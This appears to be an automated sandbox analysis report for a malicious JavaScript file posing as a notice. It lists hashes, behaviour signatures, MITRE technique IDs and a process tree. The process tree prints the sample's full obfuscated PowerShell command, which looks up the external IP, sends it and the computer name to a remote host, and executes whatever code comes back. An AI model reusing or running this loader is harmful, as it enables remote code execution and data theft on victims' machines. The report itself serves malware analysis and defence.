f435cbb5ad49c5e002e84cc9bf52216b77fe8b37a6e62d0636cee0dce4a4b374

Resubmissions

19/04/2023, 15:31

230419-sycpesdc6x 8

19/04/2023, 15:22

230419-srw5gsdc3z 3

Analysis

max time kernel
506s
max time network
514s
platform
windows10-2004_x64
resource
win10v2004-20230221-en
resource tags

arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
submitted
19/04/2023, 15:31

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General

Target

Notice_19_apr_2825606.js
Size

371KB
MD5

6982db0f9e3e5be8955321045b1df815
SHA1

57fdc983e2c4a0884d61b70036124f21c36974e3
SHA256

f435cbb5ad49c5e002e84cc9bf52216b77fe8b37a6e62d0636cee0dce4a4b374
SHA512

5e9c07d7f931a86e9a0728153f7af04c3da50752d51c3f40113b6b8012075e857b8a0140d7a880d3e8562e4dc2e998d8bb6b2bed3cd016f61d7812728674e253
SSDEEP

3072:2lslP7p0jBuPkbFG3Z2kq8WS0AxbY/dWDfIfAtpDz3C1QBGxMZYygX5+Tw/EREEN:f

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
9	528	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	wscript.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
8	ipinfo.io

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
528	powershell.exe
528	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	528	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4620 wrote to memory of 4196	4620	wscript.exe	82
PID 4620 wrote to memory of 4196	4620	wscript.exe	82
PID 4196 wrote to memory of 528	4196	conhost.exe	83
PID 4196 wrote to memory of 528	4196	conhost.exe	83

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Notice_19_apr_2825606.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4620
- C:\Windows\System32\conhost.exe
  "C:\Windows\System32\conhost.exe" --headless powershell @(8312,8319,8312,8317,8309,8318,8253,8312,8318,8254,8312,8319)|foreach{$gcedzx=$gcedzx+[char]($_-8207)};@(2130,2142,2142,2138,2084,2073,2073,2128,2129,2130,2135,2140,2072,2142,2137,2138,2073,2140,2142,2072,2138,2130,2138,2089,2131,2087)|foreach{$trskqw=$trskqw+[char]($_-2026)};$rqfubs='rl';$th = Invoke-RestMethod -Uri $gcedzx;new-alias srth cu$rqfubs;$z=$env:computername;.$([char](38687-38582)+'ex')(srth -useb "$trskqw$th<>$z")
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4196
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell @(8312,8319,8312,8317,8309,8318,8253,8312,8318,8254,8312,8319)|foreach{$gcedzx=$gcedzx+[char]($_-8207)};@(2130,2142,2142,2138,2084,2073,2073,2128,2129,2130,2135,2140,2072,2142,2137,2138,2073,2140,2142,2072,2138,2130,2138,2089,2131,2087)|foreach{$trskqw=$trskqw+[char]($_-2026)};$rqfubs='rl';$th = Invoke-RestMethod -Uri $gcedzx;new-alias srth cu$rqfubs;$z=$env:computername;.$([char](38687-38582)+'ex')(srth -useb $trskqw$th<>$z)
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:528

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tjpnxs0l.pc5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/528-138-0x0000017FF0C80000-0x0000017FF0CA2000-memory.dmp

Filesize
136KB

Download
memory/528-143-0x0000017FF0CC0000-0x0000017FF0CD0000-memory.dmp

Filesize
64KB

Download
memory/528-144-0x0000017FF0CC0000-0x0000017FF0CD0000-memory.dmp

Filesize
64KB

Download
memory/528-145-0x0000017FF4120000-0x0000017FF42E2000-memory.dmp

Filesize
1.8MB

Download